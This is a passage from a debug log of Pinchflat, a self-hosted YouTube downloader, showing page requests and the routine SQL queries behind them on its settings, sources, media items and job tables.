s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:44:02.523 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:44:02.524 [info] Sent 200 in 5ms 18:44:11.244 [info] GET /sources/5/media/196 18:44:11.244 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "196", "source_id" => "5"} Pipelines: [:browser] 18:44:11.244 [info] GET /sources/1/media/458 18:44:11.245 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "458", "source_id" => "1"} Pipelines: [:browser] 18:44:11.245 [debug] QUERY OK source="media_items" db=0.2ms idle=1326.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [196] 18:44:11.245 [debug] QUERY OK source="media_items" db=0.3ms idle=1326.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [458] 18:44:11.245 [debug] QUERY OK source="tasks" db=0.1ms queue=0.1ms idle=1326.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [196] 18:44:11.245 [debug] QUERY OK source="tasks" db=0.2ms idle=1326.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [458] 18:44:11.246 [debug] QUERY OK source="sources" db=0.3ms idle=433.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 18:44:11.246 [debug] QUERY OK source="sources" db=0.4ms idle=0.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:44:11.247 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=1.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [177] 18:44:11.247 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=1.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?)) [155, 197, 217] 18:44:11.247 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:44:11.247 [debug] QUERY OK source="settings" db=0.2ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:44:11.248 [debug] QUERY OK source="settings" db=0.2ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:44:11.248 [debug] QUERY OK source="settings" db=0.3ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:44:11.248 [debug] QUERY OK source="settings" db=0.2ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:44:11.248 [debug] QUERY OK source="settings" db=0.3ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:44:11.249 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.2ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:44:11.250 [debug] QUERY OK source="media_profiles" db=0.7ms idle=1.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:44:11.251 [info] Sent 200 in 7ms 18:44:11.253 [info] Sent 200 in 8ms 18:44:21.265 [info] {"source":"oban","duration":1167,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:44:51.268 [info] {"source":"oban","duration":1575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:45:00.501 [info] {"source":"oban","duration":463,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:45:08.699 [info] GET /app_info 18:45:08.699 [debug] Processing with PinchflatWeb.Settings.SettingController.app_info/2 Parameters: %{} Pipelines: [:browser] 18:45:08.699 [debug] QUERY OK source="settings" db=0.1ms idle=1780.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:45:08.700 [debug] QUERY OK source="settings" db=0.0ms idle=1781.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:45:08.700 [debug] QUERY OK source="settings" db=0.0ms idle=1781.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:45:08.701 [debug] QUERY OK source="settings" db=0.0ms idle=788.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:45:08.701 [debug] QUERY OK source="settings" db=0.0ms idle=782.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:45:08.701 [info] Sent 200 in 2ms 18:45:21.270 [info] {"source":"oban","duration":1382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:45:37.417 [info] GET /sources/5/media/202 18:45:37.417 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "202", "source_id" => "5"} Pipelines: [:browser] 18:45:37.418 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=1498.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [202] 18:45:37.419 [debug] QUERY OK source="tasks" db=0.2ms idle=1.5e3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [202] 18:45:37.420 [debug] QUERY OK source="sources" db=0.3ms idle=1469.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 18:45:37.420 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=501.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?)) [161, 200, 220] 18:45:37.420 [debug] QUERY OK source="settings" db=0.1ms idle=468.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:45:37.421 [debug] QUERY OK source="settings" db=0.2ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:45:37.421 [debug] QUERY OK source="settings" db=0.2ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:45:37.422 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:45:37.423 [info] Sent 200 in 6ms 18:45:51.272 [info] {"source":"oban","duration":1410,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:46:00.501 [info] {"source":"oban","duration":222,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:46:21.274 [info] {"source":"oban","duration":1565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:46:51.275 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:46:52.538 [info] GET /sources 18:46:52.538 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 18:46:52.538 [debug] QUERY OK source="settings" db=0.2ms idle=1619.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:46:52.538 [debug] QUERY OK source="settings" db=0.0ms idle=1619.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:46:52.539 [debug] QUERY OK source="settings" db=0.0ms idle=1494.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:46:52.539 [debug] QUERY OK source="settings" db=0.0ms idle=1263.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:46:52.539 [debug] QUERY OK source="settings" db=0.0ms idle=493.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:46:52.540 [debug] QUERY OK source="sources" db=0.4ms idle=1.2ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 18:46:52.541 [debug] QUERY OK source="sources" db=0.7ms idle=1.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 18:46:52.542 [info] Sent 200 in 4ms 18:47:00.503 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:47:21.277 [info] {"source":"oban","duration":1716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:47:40.978 [info] GET /sources/4 18:47:40.978 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "4"} Pipelines: [:browser] 18:47:40.979 [debug] QUERY OK source="sources" db=0.2ms idle=1059.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 18:47:40.979 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1060.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:47:40.979 [debug] QUERY OK source="tasks" db=0.1ms idle=1060.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [4, "executing", "available", "scheduled", "retryable"] 18:47:40.979 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=868.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [192] 18:47:40.980 [debug] QUERY OK source="settings" db=0.0ms idle=61.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:47:40.980 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:47:40.980 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:47:40.981 [debug] QUERY OK source="sources" db=0.1ms idle=1.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 18:47:40.982 [debug] QUERY OK source="media_items" db=0.2ms idle=1.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [4] 18:47:40.982 [debug] QUERY OK source="media_items" db=0.3ms idle=2.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN 